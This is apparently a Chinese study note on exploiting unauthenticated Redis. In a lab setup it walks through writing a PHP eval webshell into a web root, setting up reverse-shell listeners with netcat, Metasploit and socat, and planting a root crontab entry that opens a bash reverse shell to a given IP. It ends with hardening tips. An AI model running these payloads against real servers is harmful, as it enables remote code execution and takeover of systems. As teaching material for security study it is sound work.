【Web】Redis未授权访问漏洞学习笔记

目录

简介

靶机配置

Redis持久化

Redis动态修改配置

webshell

反弹shell

Redis写入反弹shell任务

加固方案


简介

Redis(Remote Dictionary Server 远程字典服务器)是一个开源的内存数据库,也被称为数据结构服务器,它支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等。Redis旨在提供一个高性能、持久化的 key-value 存储解决方案,并且具有丰富的功能和灵活的部署方式。

以下是 Redis 的一些主要特点和用途:

  1. 内存存储:Redis将数据存储在内存中,因此具有非常高的读写性能。它通常被用作缓存系统,用来加速对数据库或其他后端存储的访问。

  2. 数据结构丰富:Redis支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合等,这使得它可以适用于各种不同的应用场景。

  3. 持久化:除了存储在内存中,Redis还支持多种持久化方式,如RDB快照和AOF日志,以确保数据不会因服务器重启或故障而丢失。

  4. 发布/订阅:Redis支持发布/订阅模式,允许客户端订阅消息通道并接收特定类型的消息。

  5. 事务:Redis支持事务操作,允许执行一系列命令,保证这些命令要么全部执行,要么全部不执行,从而保持数据的一致性。

  6. 分布式:Redis可以被配置成分布式系统,通过复制和分片来提高可用性和扩展性。

  7. 缓存系统:由于其高性能和丰富的功能,Redis经常被用作缓存系统,用来减轻后端数据库的压力。

靶机配置

1、关闭保护模式 protected-mode

2、取消IP绑定 bind

3、开放6379端口,或者关闭防火墙

4、不需要密码(默认) requirepass

Redis持久化

RDB Redis DataBase (默认)

AOF Append Only File

配置:

1、save 3600 1 #自动触发规则

2、dbfilename dump.rdb #文件名

3、dir ./ #存储路径

手动触发保存命令:save / bgsave

Redis动态修改配置

config set:动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot

config set dbfilename redis.php

webshell

复制代码
redis-cli -h 192.168.142.66 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]); ?>"
save

反弹shell

攻击机

复制代码
netcat  nc -lvp 7777 (-nlvp lvvp)
msf     msfconsole
        use exploit/multi/handler
        set payload php/meterpreter/reverse_tcp
        set lhost 192.168.142.141
        set lport 7777
        run
socat   socat TCP-LISTEN:7777 -

靶机

Redis写入反弹shell任务

Linux crontab

复制代码
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

cron文件存储路径

复制代码
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly

payload:

复制代码
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

加固方案

1、限制访问IP

2、修改默认端口

3、使用密码访问

4、不要用root运行Redis

相关推荐
IT规划师6 小时前
Redis 数据类型全解 - ZSet:两个编码,七种玩法(五)
redis·.net
我不会起名字32215 小时前
Redis 从 0 到 1(十七):订单 30 分钟不支付自动关闭——ZSet 延迟队列 Go 实现
redis·go·延迟队列·zset·订单
利威尔xu17 小时前
Go IM 源码实战(13):30 个会话只有 2 个红点,未读数错在三条路径
redis·后端·微服务·面试·golang
will_net19 小时前
Redis集群部署+Redis 链接地址放入Aollo +c#项目接入Redis
redis·c#·bootstrap
用户69190268133920 小时前
Redis 1:简述Redis概念与Agent的联系
redis·后端·设计
kingx321 小时前
BugKu 渗透测试 4 实战:文件上传打点,5 Flag 全通
数据库·渗透测试·web·内网渗透
小南家的青蛙1 天前
华为云DCS全形态原生Redis命令兼容性测试方案
redis·华为云·兼容性·兼容性测试·dcs
xiaoqiMikko1 天前
Redis 实战(三):持久化出错 —— fork 失败、磁盘写满、AOF 膨胀与损坏,逐个复现(6.2.4)
redis·后端